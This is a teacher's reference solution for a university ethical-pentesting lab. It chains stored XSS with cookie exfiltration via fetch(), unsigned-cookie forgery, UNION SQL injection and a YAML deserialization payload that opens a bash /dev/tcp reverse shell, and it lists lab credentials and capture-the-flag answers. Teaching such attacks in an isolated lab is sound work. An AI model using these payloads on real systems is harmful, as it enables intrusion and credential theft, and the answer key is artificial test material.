Centre universitari adscrit a la

Universitat Pompeu Fabra Barcelona

Bachelor in Computer Engineering — Management and Information Systems

Ethical Pentesting in Virtualized Environments with EVE-NG

Lab 2

Web Application Vulnerabilities

Teacher Reference — Do Not Distribute

Do not distribute to students.
This document contains the complete solution including flags and credentials.

Flags	3
Vulnerabilities	XSS, Broken Auth, SQLi, BAC, YAML Deserialization
OWASP	A01, A03, A07, A08

Eloi Egea Rada

Supervisor: Pere Vidiella i Catalan

TecnoCampus · GEISI · 2025–2026

Prerequisites

- Parrot attacker node running with static IP `10.0.40.5/24`
- Server-A SYNAPSE Portal running: `http://192.168.30.10`
- Server-B DataVault running: `http://192.168.30.20`

Configure Parrot static IP at session start:

```
nmcli con mod "Wired␣connection␣1" \
  ipv4.method manual ipv4.addresses 10.0.40.5/24 \
  ipv4.gateway 10.0.40.1 ipv4.dns 10.0.40.1
nmcli con up "Wired␣connection␣1"
```

Phase 1 — Stored XSS + Cookie Theft

The `/comments` endpoint renders input without sanitisation (`{{ c.body | safe }}`). The victim bot visits `/comments` every ~20 s as user `guest`. The session cookie has no `HttpOnly` flag.

Step 1 — Start HTTP listener on Parrot

```
python3 -m http.server 8000
```

Step 2 — Post XSS payload

Login as `guest / guest123` and post to `/comments`:

```
<script>fetch('http://10.0.40.5:8000/?c='
  +encodeURIComponent(document.cookie))</script>
```

Step 3 — Receive victim cookie

Within ~20 s the listener logs:

```
GET /?c=session%3D1%3Aguest%3Aguest HTTP/1.1
```

Cookie format exposed: `ID:ROLE:USERNAME` — no cryptographic signature.

Phase 2 — Broken Authentication (Cookie Forgery)

```
document.cookie = "session=1:admin:admin; path=/"
```

Refresh any page — header shows `Logged in as: admin`. Access to `/portal` and `/search` is now granted.

Phase 3 — UNION SQL Injection (FLAG #1)

The `/search?q=` endpoint concatenates user input into a raw SQL query.

Step 1 — Confirm injection

```
http://192.168.30.10/search?q='
```

Error displayed in browser confirms injection. The `reports` table has 5 columns.

Step 2 — Dump `admin_users`

```
/search?q=' UNION SELECT 1,username,flag,password,5 FROM
    admin_users--
```

Result:

```
monitor
FLAG{synapse_sqli_creds_dumped}
```

FLAG #1: `FLAG{synapse_sqli_creds_dumped}`

Phase 4 — Admin Panel (FLAG #2)

With the forged admin cookie, navigate to `http://192.168.30.10/admin`.

The `classified_intel` table entry contains:

```
FLAG{synapse_admin_classified_accessed}
operator / D4t4V4ult#2024  [DataVault at 192.168.30.20]
```

FLAG #2: `FLAG{synapse_admin_classified_accessed}`
Server-B creds: `operator / D4t4V4ult#2024`

Phase 5 — YAML Deserialization → RCE (FLAG #3)

Server-B DataVault uses `yaml.UnsafeLoader` in `/preview/<filename>`.

Step 1 — Start listener on Parrot

```
nc -lvnp 4444
```

Step 2 — Create YAML payload

```
cat > exploit.yml << 'EOF'
!!python/object/apply:os.system
- "bash -c 'bash -i >& /dev/tcp/10.0.40.5/4444 0>&1'"
EOF
```

Step 3 — Upload and trigger

1. Login at `http://192.168.30.20` as `operator / D4t4V4ult#2024`
2. Upload `exploit.yml`
3. Click **Preview** — reverse shell connects to Parrot

Step 4 — Read flag

```
cat /app/data/finalData.txt
# FLAG{synapse_nexus_exfil_complete}
```

FLAG #3: `FLAG{synapse_nexus_exfil_complete}`
Note: reverse shell runs as `uid=0(root)` inside the Docker container.

Summary

Phase	Vulnerability	OWASP	Flag
1	Stored XSS + cookie theft	A03 / A07	—
2	Broken auth (unsigned cookie)	A07	—
3	UNION SQL Injection	A03	FLAG #1
4	Broken access control (admin)	A01	FLAG #2
5	YAML deserialization + RCE	A08	FLAG #3

Key learning points

1. **Attack chaining** — no single vulnerability gives the final flag.
2. **Unsigned session tokens** — any cookie without HMAC/JWT can be forged.
3. `yaml.load()` **without SafeLoader** — equivalent to `eval()`; always use `yaml.safe_load()`.
4. **Defence in depth** — each fixed vulnerability still leaves others exploitable.